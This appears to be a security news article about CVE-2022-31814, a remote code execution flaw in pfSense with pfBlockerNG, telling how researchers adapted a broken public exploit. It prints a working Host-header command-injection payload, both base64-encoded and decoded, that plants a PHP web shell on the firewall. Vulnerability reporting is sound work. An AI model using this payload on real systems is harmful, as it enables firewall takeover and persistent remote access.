A newly discovered flaw in the widely-used open-source firewall software, pfSense, has exposed a risk of remote code execution (RCE) attacks.
Labeled as CVE-2022-31814, this vulnerability particularly affects pfSense systems that have the pfBlockerNG package installed. pfSense is a popular firewall and router platform based on FreeBSD, known for its powerful features and adaptability, thanks to its open-source nature which allows users to build extensive network protections via a web interface.
Discovery of the Flaw
The vulnerability came to light during a standard security review of pfSense. Initial testing with default login credentials did not succeed in exploiting the system. However, when researchers checked systems with pfBlockerNG installed, they attempted known exploits but initially met with failure. This led to a more detailed investigation, uncovering that the system was indeed susceptible to RCE, but the exploit scripts were malfunctioning due to mismatched Python and PHP versions on the affected machine.
Exploit Analysis and Adjustments
The debugging process revealed that the exploit’s failure was linked to the absence of Python 3.8 on the target system, which was needed for the script. Additionally, issues with the PHP code were discovered, requiring modifications to the exploit.
By adjusting the exploit to use Python 2 and updating the PHP code, researchers managed to execute commands on the server. The modified exploit code can be represented as:
"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"When decoded from base64, the payload is:
<?php
$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();
$t='<?php print(passthru( $_GET["c"]));?>';
fwrite($a,$t);
fclose($a);
?>The revised exploit, now accessible on GitHub, includes multiple payloads to address various Python and PHP versions, thereby increasing its effectiveness in different environments.
This situation highlights the necessity for security testers to be aware of specific configurations and environmental factors. The initial exploit failures emphasize the need for adaptability in penetration testing approaches.
For pfSense users, it’s essential to stay updated with security patches and community updates. Regular security audits and an understanding of the installed packages can help minimize exposure to such vulnerabilities.
Given the critical role of open-source software in network security, continuous vigilance and engagement in community-driven security practices are crucial.
The CVE-2022-31814 vulnerability serves as a reminder of the ever-evolving landscape of cybersecurity threats and the need for ongoing proactive defense measures.
